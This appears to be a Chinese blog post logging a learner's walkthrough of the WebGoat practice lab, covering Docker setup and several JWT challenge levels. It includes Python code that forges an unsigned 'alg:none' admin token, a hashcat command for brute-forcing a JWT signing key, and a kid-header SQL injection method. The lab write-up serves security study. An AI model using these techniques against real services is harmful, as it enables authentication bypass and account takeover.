小迪安全v2023 javaWeb项目

小迪安全v2023 javaWeb项目

大体上跟随小迪安全的课程,本意是记录自己的学习历程,不能说是完全原创吧,大家可以关注一下小迪安全,他讲的挺好的。

若有冒犯,麻烦私信移除。

已获得迪の认可,哈哈

1. webgoat靶场

1. 环境配置与docker操作

自行下载配置vmware的kali-linux环境。

下载jdk-17

sudo apt update
sudo list --upgradable
sudo apt install openjdk-17-jdk
sudo update-alternatives --config java
java -version

下载docker

sudo apt-get install docker.io

使用代理加速docker pull

sudo mkdir -p /etc/systemd/system/docker.service.d
sudo touch /etc/systemd/system/docker.service.d/proxy.conf

编辑proxy.conf文件,按i插入,esc回到命令模式,:wq保存退出。
代理替换成自己的
vim /etc/systemd/system/docker.service.d/proxy.conf

[Service]
Environment="HTTP_PROXY=socks5://192.168.2.103:11451"
Environment="HTTPS_PROXY=socks5://192.168.2.103:11451"
Environment="NO_PROXY=localhost,127.0.0.1,.example.com"

然后重载systemd并重启docker服务

sudo systemctl daemon-reload
sudo systemctl restart docker

拉取靶场镜像

docker pull webgoat/webgoat-8.0

查看镜像列表

docker images

在这里插入图片描述

下面运行docker容器

-i:表示以交互模式运行容器。

-d:表示以后台模式运行容器。

-t:表示分配一个伪终端(pseudo-tty)并绑定到容器的标准输入上。

并将容器的8080端口(右边)映射到主机的8080端口(左边),设置容器的名字为webgoat-114 ,使用的镜像为webgoat/webgoat-8.0。

docker run -p 8080:8080 -idt --name webgoat-114 webgoat/webgoat-8.0

查看容器列表
docker ps -a

暂停容器
docker stop id号

开启容器
docker start id号

删除容器
docker rm id号

进入容器操作
docker exec -it webgoat-114 bash
ls
java -jar webgoat.jar

退出容器
exit

在这里插入图片描述

在主机访问虚拟机的webgoat服务

虚拟机ifconfig看一下地址,然后在主机访问。

![在这里插在这里插入图片描述

2. jwt令牌

在这里插入图片描述

​ 用户登录后,服务器会验证用户名密码,然后返回jwt令牌。后面用户与服务器交互要加上Authorization Header,让服务器检查jwt签名。

载荷常见属性

iss:发行人

aud:受众

iat:签发时间

exp:过期时间

1. jwt 第四关 签名没验证空加密

这关比较抽象。

JWTToken.java中

private static boolean validateSignature(String secretKey, String jwt) {
    if (hasText(secretKey)) {
      JwtConsumer jwtConsumer =
          new JwtConsumerBuilder()
              .setSkipAllValidators()//不验证签名或声明,跳过所有验证步骤
              .setVerificationKey(new HmacKey(secretKey.getBytes(UTF_8)))
              .setRelaxVerificationKeyValidation()//放松对验证密钥的验证
              .build();
      try {
        jwtConsumer.processToClaims(jwt);
        return true;
      } catch (InvalidJwtException e) {
        return false;
      }
    }
    return false;
  }

在这里插入图片描述

处理reset的函数

开启抓包,然后切换到Jerry,然后drop直到出现access_token,burpsuite选择拦截响应,然后forward一次,然后drop直到遇到响应包出现access_token

在这里插入图片描述

将这时的access_token放进jwt.io网站中

在这里插入图片描述

根据上面的值编写python代码

import jwt
import base64
def b64urlencode(data):
    return base64.b64encode(data).replace(b'+', b'-').replace(b'/', b'_').replace(b'=', b'')
#Base64URL编码与Base64类似,主要是将Base64编码中的=省略,+替换为-,/替换为_
print(b64urlencode(b'{"alg":"none"}') + b'.' + b64urlencode(b'{"iat":1720450665,"admin":"true","user":"Jerry"}') + b'.')

eyJhbGciOiJub25lIn0.eyJpYXQiOjE3MjA0NTA2NjUsImFkbWluIjoidHJ1ZSIsInVzZXIiOiJKZXJyeSJ9.结果替换burp中的access_token。forward一次后,连续drop几次,然后关闭burpsuite拦截。

此时点击垃圾桶选项,显示通关。

在这里插入图片描述

2. jwt 第五关 爆破签名密钥

先去下载一个google提供的常见单词top 10000作为字典,下载地址:

https://github.com/first20hours/google-10000-english

然后在kali里面把jwt放进jwt.txt,使用hashcat爆破

hashcat -m 16500 jwt.txt -a 3 -w 3 google-100*

-m 16500 ,这里的16500对应的就是jwt的token爆破;

-a 3 , 代表蛮力破解

-w 3 , 可以理解为高速破解,就是会让桌面进程无响应的那种高速

jwt.txt , 是我把题目要求破解的token保存到的文件

google-10000-english.txt , 就是google提供的10000个单词/词组/短语

在这里插入图片描述

https://jwt.io/#encoded-jwt

在这里插入图片描述

左侧的值即最终的token。

3. jwt 第八关 kid参数可控

kid是jwt头部中的一个可选参数,全称’key id’,它用于指定加密算法所使用的密钥。

可控则会导致任意文件读取,sql注入,命令注入。

在这里插入图片描述

​ 如图所示,JWTHeaderKIDEndpoint.java存在sql注入漏洞,将查到的值base64解码作为secret进行token解析。

抓包,把token放进网站,需要改username,kid,exp,密钥。

在这里插入图片描述

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

cllsse

富✌您吉祥

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值